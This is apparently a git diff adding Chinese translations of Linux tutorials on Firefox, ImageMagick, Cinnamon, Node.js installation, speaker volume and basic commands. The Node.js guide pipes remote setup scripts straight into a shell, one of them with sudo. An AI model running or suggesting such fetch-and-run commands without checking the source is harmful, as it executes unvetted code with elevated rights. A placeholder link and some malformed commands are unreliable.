的压缩可执行文件 + +你可以从官方网站(链接如下)下载适用于 Ubuntu 和其他 Linux 的 Firefox 可执行文件压缩包。然后解压并双击运行 Firefox 可执行文件。这是最安全的方法。如果你使用此方法,你仍然可以获得更新。 + +> **[下载 Firefox][6]** + +![下载 Firefox 并解压][7] + +![然后运行可执行文件][8] + +#### 方法 3 – 使用 Flatpak 版本的 Firefox + +你也可以使用 [Flatpak 版本的 Firefox][9],这在 [Ubuntu 中设置 Flatpak][10] 后可用。然后你可以运行以下命令进行安装: + +``` +flatpak install flathub org.mozilla.firefox +``` + +#### 方法 4 – 使用与系统耦合更少的 Snap 版本 Firefox + +如果你认为你仍然可以继续使用 Snap 版本,但希望在系统中减少沙盒化,那么你可能需要使用以下命令和 [classic 开关][11] 重新安装 Firefox: + +``` +sudo snap install firefox --classic +``` + +### 结束语 + +因此,这是从 Ubuntu 21.10 开始删除 firefox Snap 版本的步骤,以及一些替代方案。我很想知道 Linux Mint 采取了什么措施,因为他们不支持 Snap。此外,这些发行版依赖于 Firefox 的 Ubuntu 上游仓库,看看它们会做什么很有趣。Debian 维护自己的仓库,但主要是 ESR 版本。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/remove-firefox-snap-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://bugs.launchpad.net/ubuntu/+source/ubuntu-release-upgrader/+bug/1943840 +[2]: https://www.debugpoint.com/wp-content/uploads/2021/09/snap-list-Firefox.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/09/Firefox-snap-desktop-shortcut-1024x490.jpg +[4]: https://www.debugpoint.com/2021/03/clean-up-snap/ +[5]: https://launchpad.net/~mozillateam/+archive/ubuntu/ppa +[6]: https://www.mozilla.org/en-US/firefox/new/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/09/Download-Firefox-and-Extract.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/09/And-then-run-the-executable.jpg +[9]: https://flathub.org/apps/details/org.mozilla.firefox +[10]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[11]: https://snapcraft.io/docs/snap-confinement diff --git a/published/202211/20221105.0 ⭐️⭐️ Fix scanned images with ImageMagick.md b/published/202211/20221105.0 ⭐️⭐️ Fix scanned images with ImageMagick.md new file mode 100644 index 0000000000..991acefdef --- /dev/null +++ b/published/202211/20221105.0 ⭐️⭐️ Fix scanned images with ImageMagick.md @@ -0,0 +1,93 @@ +[#]: subject: "Fix scanned images with ImageMagick" +[#]: via: "https://opensource.com/article/22/11/fixing-scanned-images-imagemagick" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15268-1.html" + +使用 ImageMagick 修复扫描图像 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/19/155829valiu5lulmhuuhiz.jpg) + +> 使用这个开源工具,即使是批量校正图像也很容易。 + +多年前,在翻阅一家旧书店的书架上的内容时,我偶然发现了一本名为 《UNIX System Command Summary for Berkeley 4.2 & 4.3 BSD》 的小册子,由 Specialized Systems Consultants 出版。我买它是出于好奇,因为它已经有将近 20 年的历史了,但仍然在很大程度上适用于现代 Linux 和 BSD。 + +无论是当时还是现在,我都很开心。一本写于 1986 年的小册子在 2016 年仍然很重要,而同一个书架上关于专有操作系统的书籍并不值得印刷它们的纸张。(想一想:你认为什么技术可以在僵尸末日中幸存下来?)这本小册子已经放在我自己的书架上好几年了,但我突然想到可能值得对这个作品做一点数字保存,所以我决定扫描这本小册子来创建一本 [CBZ 电子书][1]。 + +使用 [Skanlite][2] 进行扫描很容易,但很耗时。然而,当我完成后,我发现有些页面不是很平整。 + +![A page of text, including a table of contents and a glossary, that is crooked and distorted][3] + +在打印中,这称为配准问题,这意味着打印内容的位置在页面上的方向不正确。 + +### ImageMagick + +[ImageMagick][4] 是基于终端的非交互式图形编辑器。尝试在无图形环境(如纯文本终端)中编辑图形似乎违反直觉,但实际上很常见。例如,当你将图像上传到 Web 应用用作个人资料图片时,应用服务器上的脚本可能会使用 ImageMagick 或其库处理你的图像。非交互式编辑器的优点是你可以制定需要对示例图像执行的操作,然后只需按一下按钮即可将这些效果应用于数百个其他图像。 + +ImageMagick 通常与其他图形编辑器一样强大,只要你花时间了解它的许多功能以及如何组合它们以实现所需的效果。在这种情况下,我想旋转歪斜的页面。在搜索了 ImageMagick 的文档后,我发现我需要的解决方案的 ImageMagick 术语称为纠偏。将你的术语与其他人的术语保持一致对于你不知道的任何事情都是一个挑战,因此当你使用 ImageMagick(或其他任何东西)时,请记住,你描述问题或解决方案的用词可能和别人不一样。 + +要使用 ImageMagick 对带有弯曲文本的图像进行校正: + +``` +$ convert page_0052.webp -deskew25% fix_0052.webp +``` + +`-deskew` 选项表示可接受偏差的阈值。通过跟踪看似字母的对象的峰谷来确定倾斜。根据扫描的弯曲程度,你可能需要多于或少于 25% 的阈值。我已经达到了 80%,到目前为止,低于 25% 没用效果。 + +结果如下: + +![The same page of text, now with the text properly aligned][5] + +修复了!将其应用于文档的剩余 55 页以修复倾斜的页面,而对已经笔直的页面不做任何事情。换句话说,由于我的阈值设置,在不需要调整的页面上运行此命令是安全的。 + +### 使用 ImageMagick 裁剪图像 + +在纠正了歪斜之后,因为我扫描每一页都比必要的范围要多,以防止意外切断单词,我认为裁剪我纠正的页面是有意义的。我很高兴在页边空白处保留一些空间,但没有以前那么多。我经常使用 ImageMagick 的“裁剪”功能来处理这个网站上的图像,所以我很熟悉这个选项。但是,我需要确定如何裁剪每一页。 + +首先,我需要图像的大小: + +``` +$ identify fixed_0052.webp +WEBP 1128x2593 1128x2593+0+08-bit sRGB 114732B 0.020u 0:00.021 +``` + +知道尺寸后,我能够对我可以承受的丢失多少像素做出一些估计。经过几次试运行,我得到了这个: + +``` +convert fix_0052.webp -gravity Center -crop 950x2450+0+0 crop_0052.webp +``` + +这并不完全适合,但当我将它应用于册子中的其他图像时,它被证明很重要。这些页面的内容和扫描仪位置各不相同,所以我很高兴给每一页一点空余空间。 + +这是校正和裁剪的图像: + +![The same page of text, with the previous fixes applied and crooked white margins around the page cropped out.][6] + +### 使用开源批量编辑图像 + +ImageMagick 的美妙之处在于,当你确定了修复图像的公式,你就可以将该修复应用于需要相同修复的所有图像。我使用 [GNU Parallel][7] 执行此操作,它使用我所有的 CPU 内核来完成数百页的图像校正。这并不需要很长时间,而且结果不言而喻。更重要的是,我已经有了一个 UNIX 历史上有趣作品的数字档案。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/fixing-scanned-images-imagemagick + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/3/comic-book-archive-djvu +[2]: https://opensource.com/article/22/2/scan-documents-skanlite-linux-kde +[3]: https://opensource.com/sites/default/files/2022-10/imagemagick-crook_1.png +[4]: https://opensource.com/article/17/8/imagemagick +[5]: https://opensource.com/sites/default/files/2022-10/imagemagick-deskew-fix.png +[6]: https://opensource.com/sites/default/files/2022-10/imagemagick-deskew-crop.png +[7]: http://LINK-TO-SETH-GNU-PARALLEL-REDHAT.COM/SYSADMIN diff --git a/published/202211/20221105.1 ⭐️ How to Install Cinnamon Desktop in Arch Linux.md b/published/202211/20221105.1 ⭐️ How to Install Cinnamon Desktop in Arch Linux.md new file mode 100644 index 0000000000..58c85293ba --- /dev/null +++ b/published/202211/20221105.1 ⭐️ How to Install Cinnamon Desktop in Arch Linux.md @@ -0,0 +1,140 @@ +[#]: subject: "How to Install Cinnamon Desktop in Arch Linux" +[#]: via: "https://www.debugpoint.com/cinnamon-arch-linux-install/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15303-1.html" + +如何在 Arch Linux 中安装 Cinnamon 桌面 +====== + +![][0] + +> Cinnamon 是 Linux Mint 的默认桌面环境。本快速指南解释了在 Arch Linux 中安装 Cinnamon 桌面环境的步骤。 + +[Cinnamon 桌面环境][1] 是 [Linux Mint][2] 的默认桌面风格。创建这个基于 GTK 的桌面环境是为了提供具有以前的 GNOME 的传统桌面风格(即 GNOME 3 之前的外观)。该桌面本身很轻巧,非常人性化。因为它保留了经过时间考验的图标和菜单驱动的桌面行为,因此它被认为(与 Linux Mint 结合)是新 Linux 用户易于使用的桌面之一。 + +尽管 Cinnamon 及其软件包与 Linux Mint 紧密结合,但该桌面可以作为单独的桌面环境安装在 Ubuntu、Fedora 或 Arch Linux 中。 + +在 Arch Linux 中安装 Cinnamon 相当容易,就像在 Arch 中安装其他桌面(例如 Xfce 和 KDE Plasma)一样。但它需要安装一些特定的软件包才能使其看起来像一个合适的 Cinnamon 桌面。 + +让我们开始吧。 + +### 在 Arch Linux 中安装 Cinnamon 桌面 + +#### 第 1 步:安装基本系统 + +本指南假设你已经安装了基本的 Arch 系统。如果你没有安装基本系统,请按照 [自动化 Arch 安装指南][3](推荐方法)进行安装。然后按照以下步骤操作。 + +#### 第 2 步:更新你的系统 + +在你的 Arch 中打开一个终端。并通过运行以下命令确保系统是最新的: + +``` +pacman -Syu +``` + +#### 第 3 步:安装 yay AUR 助手 + +配置 Cinnamon 所需的某些包在 Arch 官方仓库中不可用。它们在 Arch 用户仓库(AUR)中。因此,你需要安装 yay 以获得额外的软件包。按照 [本指南安装 yay AUR 助手][4]。 + +#### 第 4 步:在 Arch Linux 中安装 Cinnamon 桌面 + +基本的 Cinnamon 桌面在 [cinnamon][5] 包中,它存在于社区仓库中。打开终端并运行以下命令来安装 Cinnamon 桌面和终端应用。 + +``` +sudo pacman -S cinnamon gnome-terminal +``` + +安装显示服务器和显示管理器。LightDM 是轻量级的,非常适合 Cinnamon。不过,你可以使用任何其他显示管理器,例如 SDDM 或 GDM。但我建议你坚持使用 Lightdm。 + +``` +sudo pacman -S xorg lightdm lightdm-gtk-greeter +``` + +使显示管理器和网络服务在下次启动时启动。 + +``` +systemctl enable lightdm +systemctl enable NetworkManager +``` + +重启系统。 + +#### 第 5 步:配置 Cinnamon 桌面 + +成功重启后,你应该会看到 Lightdm 登录提示。使用你在安装基本系统时可能已创建的用户名和密码登录。 + +当我第一次登录基本的 Cinnamon 桌面时,它看起来非常平淡。所以它需要一些定制。 + +![Arch 中的 Cinnamon 桌面(配置前)][6] + +打开终端并安装一些重要的软件包,例如声音驱动、浏览器等。这将确保安装正确的字体和其他项目。 + +``` +sudo pacman -S pulseaudio pulseaudio-alsa pavucontrol firefox vlc gimp xfburn thunderbird gedit gnome-system-monitor +``` + +然后为 Cinnamon 特定的图标集安装 faenza 图标主题。 + +``` +sudo pacman -S mate-icon-theme-faenza +``` + +numix 主题需要安装 yay。在运行以下命令安装之前,请确保按照 [该指南][4] 安装 yay AUR 助手程序。 + +``` +yay -S numix-themes +``` + +全部安装完成后,重启系统。 + +当你重新登录时,打开主题应用并按照以下更改窗口边框、图标、控件和桌面。 + +![本指南的主题更改][7] + +你也可以在第二个选项卡(添加/删除)中下载其他主题。 + +![其他主题供你下载][8] + +将默认的 GNOME 壁纸(Cinnamon 附带)更改为你喜欢的内容。本指南使用来自 [cinnamon-look.org][9] 的 Cinnamon 徽标壁纸。 + +如果一切顺利,你的桌面应该如下所示。 + +![Arch Linux 中的 Cinnamon 桌面][10] + +![在 Arch Linux 中运行的 Cinnamon 桌面][11] + +因此,在 Arch Linux 中安装和配置 Cinnamon 桌面的基本步骤到此结束。你可能想要添加其他设置,例如桌面小程序等。 + +### 结束语 + +Cinnamon 是一款适合新用户的现代且易于使用的桌面。以 Arch Linux 和 Cinnamon 的灵活性为核心,这个组合非常适合许多喜欢 Cinnamon 桌面(主要是 Linux Mint)但又希望同时使用 Arch Linux 的用户。我希望本指南能帮助你在 Arch Linux 中设置 Cinnamon 环境。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/cinnamon-arch-linux-install/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://cinnamon-spices.linuxmint.com/ +[2]: https://www.debugpoint.com/linux-mint/ +[3]: https://www.debugpoint.com/archinstall-guide/ +[4]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[5]: https://archlinux.org/packages/community/x86_64/cinnamon/ +[6]: https://www.debugpoint.com/wp-content/uploads/2021/02/Cinnamon-Desktop-in-Arch-Before-Configuration.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/02/Theme-Changes-for-this-guide.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/02/Additional-Themes-for-you-to-download.jpg +[9]: https://www.cinnamon-look.org/browse/cat/ +[10]: https://www.debugpoint.com/wp-content/uploads/2021/02/Cinnamon-Desktop-in-Arch-Linux-1024x535.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2021/02/Cinnamon-Desktop-Running-in-Arch-Linux-1024x640.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202211/30/112417w4nrt4cii4hiidti.jpg \ No newline at end of file diff --git a/published/202211/20221107.3 ⭐️⭐️ How to Install Node.js on RHEL 9.md b/published/202211/20221107.3 ⭐️⭐️ How to Install Node.js on RHEL 9.md new file mode 100644 index 0000000000..61887b03ba --- /dev/null +++ b/published/202211/20221107.3 ⭐️⭐️ How to Install Node.js on RHEL 9.md @@ -0,0 +1,238 @@ +[#]: subject: "How to Install Node.js on RHEL 9" +[#]: via: "https://www.linuxtechi.com/how-to-install-nodejs-on-rhel/" +[#]: author: "James Kiarie https://www.linuxtechi.com/author/james/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15260-1.html" + +如何在 RHEL 9 上安装 Node.js +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/17/092223tdodvvfdnsjiezxv.jpg) + +> 在这篇文章中,我们将逐步解释如何在 RHEL 9 系统上安装 Node.js。 + +[Node.js][1] 基于谷歌的 V8 JavaScript 引擎构建,它是一个自由开源的跨平台 JavaScript 运行时环境,主要用于构建服务器端应用。它使用事件驱动和异步模型,帮助开发人员构建高度可扩展的数据密集型的实时应用(RTA)。你可以使用 NodeJS 来构建前端和后端应用。 + +Node.js 通常用于构建以下应用: + +- 聊天应用 +- 流媒体应用 +- 浏览器游戏 +- 命令行工具 +- 嵌入式系统 + +在其技术栈中使用 NodeJS 的顶级公司包括 PayPal、NetFlix 和 Uber 等等。 + +安装 Node.js 主要有以下三种方式: + +- 从 NodeSource 仓库安装 Node.js +- 从发行版的官方仓库安装 Node.js +- 使用 NVM 安装 Node.js + +让我们看看如何使用这些方法在 RHEL 9 上安装 Node.js。 + +先决条件: + +- 最小化安装的 RHEL 9 系统 +- 具有管理员权限的 [sudo 用户][2] +- 互联网连接 +- Red Hat 订阅或本地配置的仓库 + +### 从 NodeSource 存储库安装 Node.js + +[NodeSource][3] 是一家技术公司,旨在帮助组织运行生产就绪的 Node.js 应用,关注资源使用以及增强的安全性和应用程序性能。它提供了最新版本的 Node.js 和 NPM。 + +要从 NodeSource 安装 Node.js,首先,按如下所示更新系统包。 + +``` +$ sudo dnf update -y +``` + +![][5] + +接下来,安装这期间所需的构建工具。其中包括 GCC C/C++ 编译器、Perl 和 Python 调试器等等。 + +``` +$ sudo dnf groupinstall 'Development Tools' -y +``` + +![][6] + +接下来,我们将从 NodeSource 安装 Node.js 18.x。为此,请下载并运行 NodeSource 设置脚本,如下所示。 + +``` +$ curl -fsSL https://rpm.nodesource.com/setup_18.x | sudo bash - +``` + +该脚本在其他任务中将 NodeSource 仓库添加到你的系统。 + +![][7] + +在输出的末尾,你将看到一些关于如何安装 Node.js 和 NPM 的附加说明。 + +![][8] + +因此,要安装 Node.js 和 NPM(Node 包管理器),请运行以下命令: + +``` +$ sudo dnf install nodejs -y +``` + +![][9] + +安装完成后,按如下所示验证 Node.js 和 NPM 的版本。 + +``` +$ node -v +$ npm -v +``` + +![][10] + +输出显示我们正在运行 Node v18.12,它是最新的 LTS 版本和 NPM 8.19.2。 + +### 从官方 RHEL 仓库安装 Node.js + +安装 NodeJS 和 NPM 的另一种方法是从发行版的官方仓库中安装它们。但是,这种方法不提供最新版本。 + +如果你不介意不安装最新版本的 Node 和 NPM。 那么在命令行上运行以下命令。 + +``` +$ sudo dnf update -y +$ sudo dnf install nodejs npm -y +``` + +![][11] + +### 使用 NVM 安装 Node.js + +最后,你可以使用 NVM(Node 版本管理器)安装 Node.js,这是一种用于管理系统上 Node 版本的工具。该工具可帮助开发人员在需要不同版本 Node.js 的不同项目上高效工作。 + +默认情况下没安装 NVM。你需要通过运行 [官方 GitHub 页面][4] 上提供的 Shell 脚本来安装它。 + +``` +$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.2/install.sh | bash +``` + +这会下载 NVM 并将其保存在主目录的 `.nvm` 目录中。 + +![][12] + +安装后,关闭终端会话并打开一个新终端。然后运行以下命令确认 NVM 已经安装。 + +``` +$ command -v nvm +``` + +![][13] + +接下来,你可以使用以下命令列出所有可用的 Node.js 版本: + +``` +$ nvm ls-remote +``` + +![][14] + +或者,你可以列出 Node.js 版本的所有最新 LTS 版本,如图所示。 + +``` +$ nvm ls-remote | grep -i latest +``` + +![][15] + +要安装最新版本的 Node.js(当前为 v19.0.0),请运行以下命令: + +``` +$ nvm install node +``` + +![][16] + +然后,你可以验证安装的 Node.js 版本,如下所示。 + +``` +$ node -v +``` + +![][17] + +此外,你可以安装特定版本的 Node.js。例如,要安装 v18.2.0,请运行以下命令: + + +``` +$ nvm install v18.12.0 +``` + +![][18] + +要列出系统上所有已安装的 NodeJS 版本,请运行以下命令: + +``` +$ nvm ls +``` + +第一行带有 “->” 符号的条目指向当前使用的 Node.js 版本。然后是其他版本。 + +![][19] + +要切换到另一个版本的 Node.js,请使用以下语法: + +``` +$ nvm use +``` + +例如,要使用 Node 版本 19.0.0,请运行以下命令: + +``` +$ nvm use 19.0.0 +``` + +![][20] + +再次检查已安装的 Node.js 版本,这次“->” 符号将指向 v19.0.0。 + +![][21] + +### 总结 + +在本指南中,我们演示了如何使用三种不同的方法安装 Node.js。此外,我们还提供了几种使用 NVM 管理 Node 版本的方法。我们希望可以帮助你轻松地在 RHEL 上安装 NodeJS,并选择你想要在项目中使用的版本。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-nodejs-on-rhel/ + +作者:[James Kiarie][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/james/ +[b]: https://github.com/lkxed +[1]: https://nodejs.org/en/about/ +[2]: https://www.linuxtechi.com/create-sudo-user-on-rhel-rocky-linux-almalinux/ +[3]: https://nodesource.com/ +[4]: https://github.com/nvm-sh/nvm +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-updates-rhel9-system.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-development-tools-rhel9-dnf-command.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Add-NodeSource-Repository-RHEL9.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/11/NodeSource-Repository-Output-RHEL9.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/11/dnf-install-nodejs-rhel9.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Verify-NodeJs-NPM-Version-RHEL9.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-NodeJS-NPM-RHEL9-Official-Repo.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Installing-NodeJS-Using-NVM.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/11/nmv-command-interface-rhel9.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/11/list-nodejs-using-nvm-command-rhel9.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/11/list-latest-nodejs-using-nvm-command-rhel9.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-latest-nodejs-with-nvm-rhel9.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Verify-nodejs-npm-version-with-node-nvm.png +[18]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-specific-nodejs-version-nvm-command-rhel9.png +[19]: https://www.linuxtechi.com/wp-content/uploads/2022/11/nvm-ls-command-rhel9.png +[20]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Use-Specific-NodeJs-Version-RHEL9.png +[21]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Check-NodeJS-Version-after-switching-rhel9.png \ No newline at end of file diff --git a/published/202211/20221107.4 ⭐️ How to Boost Speaker Volume in Ubuntu and Other Linux.md b/published/202211/20221107.4 ⭐️ How to Boost Speaker Volume in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..cff6529075 --- /dev/null +++ b/published/202211/20221107.4 ⭐️ How to Boost Speaker Volume in Ubuntu and Other Linux.md @@ -0,0 +1,91 @@ +[#]: subject: "How to Boost Speaker Volume in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/boost-speaker-volume-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15250-1.html" + +如何提高 Ubuntu 和其他 Linux 系统中的扬声器音量 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/14/082359euz72h2utucf2v5u.jpg) + +> 以下是如何在 Ubuntu 和其他 Linux 发行版中提高笔记本和桌面的音量的方法。 + +你有没有觉得你的 Ubuntu 笔记本的音量太小,尽管你把音量调到了 100%?我相信你有过。主要原因是:很明显,笔记本电脑的扬声器输出强度比大型扬声器要低。 + +此外,Ubuntu 和其他发行版将默认的最大音量设置为 100%,也就是 0dB(分贝)。0dB 是最大音量的参考值。做个比较,如果你把音量设置为 -10dB,这意味着你的音量比最大的 0dB 安静。 + +VLC 和一些媒体播放器允许你将音量提高到 200%。在最新的 Ubuntu 中使用一些设置,你可以将音量进一步提高。 + +> **注意**:在你尝试和使用以下方法之前,请记住,每个扬声器都有其制造商设定的硬件限制。偶尔一次,播放超过 100% 的音频是可以的。但是,连续放大到更高的分贝可能会使输出的音频失真,并且从长远来看可能会损坏你的扬声器。因此,在使用时要小心谨慎,并有所限制。 + +### 在 Ubuntu 和其他发行版中提高扬声器音量 + +#### 对于最新的 Ubuntu 22.04 及以上版本(GNOME) + +从应用菜单中打开“设置Settings”,进入“声音Sound”标签。 + +启用 “过度放大Over Amplification” 开关。在你启用的那一刻,你应该看到音量条被扩大了。 + +![在 Ubuntu 中提升音量超过 100%][1] + +现在你可以享受音量提升来听音乐了。 + +#### Fedora、Arch Linux 和其他发行版 + +如果你使用带有 GNOME 的 Fedora 工作站,你将看不到上述选项,因为这是 Ubuntu 特有的设置。见下面。 + +![在 Fedora (GNOME)中,扬声器音量最大为 100%][2] + +因此,对于任何其他 Linux 发行版(Arch、Fedora、RedHat 等)或桌面(KDE、Xfce、LXQt 等),打开终端并安装 [PulseAudio 音量控制器][3]。 + +Fedora、RedHat Linux、OpenSUSE 等基于 RPM 的发行版: + +``` +sudo dnf install pavucontrol +``` + +对于 Arch Linux、Manjaro: + +``` +sudo pacman -S pavucontrol +``` + +基于 Ubuntu 的非 GNOME 发行版: + +``` +sudo apt install pavucontrol +``` + +### 如何使用 + +安装后,从应用菜单中打开 `pavucontrol`,它应该有个 “PulseAudio Volume Control” 菜单项。 + +![使用 PulseAudio 音量控制增加音量][4] + +### 总结 + +记住,上述方法可以提高整个系统的扬声器音量。这意味着系统的声音和警报也会受到影响。所以,要记住这一点。正如我前面提到的,如果连续使用,提升扬声器音量超过 100% 可能会导致扬声器变形或损坏。 + +我希望这个教程能帮助你提高系统音量。如果你遇到问题,请在评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/boost-speaker-volume-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/11/Boost-volume-more-than-100-percent-in-Ubuntu.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/11/Speaker-volume-is-max-100-percent-in-Fedora-GNOME.jpg +[3]: https://freedesktop.org/software/pulseaudio/pavucontrol/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Increase-Volume-using-PulseAudio-Volume-Control-1024x508.jpg \ No newline at end of file diff --git a/published/202211/20221109.1 ⭐️⭐️⭐️ 31 Linux Commands Every Ubuntu User Should Know.md b/published/202211/20221109.1 ⭐️⭐️⭐️ 31 Linux Commands Every Ubuntu User Should Know.md new file mode 100644 index 0000000000..3ddd8e2172 --- /dev/null +++ b/published/202211/20221109.1 ⭐️⭐️⭐️ 31 Linux Commands Every Ubuntu User Should Know.md @@ -0,0 +1,790 @@ +[#]: subject: "31 Linux Commands Every Ubuntu User Should Know" +[#]: via: "https://itsfoss.com/essential-ubuntu-commands/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15286-1.html" + +每个 Linux 用户都应该知道的 31 条命令 +====== + +![][0] + +哪些是**最基本**的 Linux 的命令? + +经常有读者问我这个问题,我一直试图避免回答这个问题。 + +为什么呢?我不知道 Linux 命令吗?不是的。这不是原因。而是因为很难对它们进行分类。对我来说必不可少的东西对你来说可能并不重要。 + +但我想这适用于所有的东西,我们网站上的每一个这样的推荐应用程序列表也都是这样。 + +这就是为什么我最终放弃了,并创建了这个基本但**重要的** Linux 命令列表,它应该对作为 Linux 用户的你有所帮助。这更多的是针对 Ubuntu 这样的桌面用户,但如果你把 Ubuntu 作为服务器使用,它们也应该对你有所帮助。 + +### Linux 的基本命令 + +我在这里列出的每个命令都有多个选项和多种用途。如果我尝试给出每个命令的最常见的例子,它将很容易变成一本超过一万字的口袋书。 + +我不会详述这些命令中的任何一个。我将列出每个命令的目的及其基本语法。你可以从这些命令的链接教程中阅读更多关于使用这些命令的信息。 + +在你开始阅读列表之前推荐阅读: + +- [Linux 中路径的概念][1] +- [文件权限的概念][2] +- [了解 Linux 终端的行话][3] + +还有一件事。我在这里更多地使用了**文件夹**这个术语,而不是**目录**。 + +[在 Linux 中文件夹被称为目录][4],有些人可能不喜欢这样。然而,我相信对于初学者来说,这更容易掌握。 + +#### 1、ls 命令:列出一个文件夹的内容 + +这是一个新的 Linux 用户最先学会的几个命令之一。这个命令可以让你看到当前文件夹里有哪些文件和文件夹。 + +``` +ls +``` + +你可以使用长列表选项 `ls -l` 来查看细节,如文件大小、权限、修改时间等。如果你想,你可以对这些选项进行排序和控制。 + +``` +ls -l +``` + +![ls 命令][5] + +推荐阅读: + +> **[ls 命令示例][6]** + +#### 2、cd 命令:改变目录 + +默认情况下,你从你的主目录下开始。你经常需要改变目录并移动到另一个目录。 + +例如,你下载了一个 deb 文件或脚本。现在你想运行它。你可以通过提供完整的路径从你现在的工作目录运行它,但是切换到下载的位置会让事情更简单。 + +`cd` 命令代表“改变目录change directory”,你可以改变你的位置,移动到另一个目录。 + +![cd 命令示例][7] + +在这一点上,我强烈建议阅读关于 Linux 中路径的概念,这样在 Linux 命令行中浏览目录时,事情就容易理解了。 + +推荐阅读: + +> **[cd 命令示例][8]** + +#### 3、cat 命令:读取一个文本文件 + +如果你想在 Linux 中快速查看一个文本文件的内容,`cat` 是你需要使用的命令。它在屏幕上显示内容。 + +``` +cat filename +``` + +![cat 命令示例][9] + +你也可以使用 `cat` 命令来创建新的文件或给现有文件添加更多的文本。 + +推荐阅读: + +> **[cat 命令的例子][10]** + +#### 4、less 命令:读取一个大的文本文件 + +`cat` 命令对于查看小的文本文件已经足够了。但是,如果你有一个有数百行的巨大文本文件,我不建议使用 `cat`。它将用所有的文本淹没你的屏幕,而你将很难处理它。 + +这就是 `less` 命令有用的地方。当你用 `less` 打开一个文件时,它会分页打开文件。你可以向上/向下滚动,寻找文本等等。 + +![用 less 命令阅读大文件][11] + +一旦你读完了文件,你可以按 `Q` 键退出 `less` 视图。你会注意到,屏幕上什么都没有显示。你的屏幕是干净的。 + +推荐阅读: + +> **[less 命令示例][12]** + +#### 5、touch 命令:创建新文件 + +在 Linux 终端中,有多种创建新文件的方法。你在上面看到的 `cat` 命令也可以创建新文件。 + 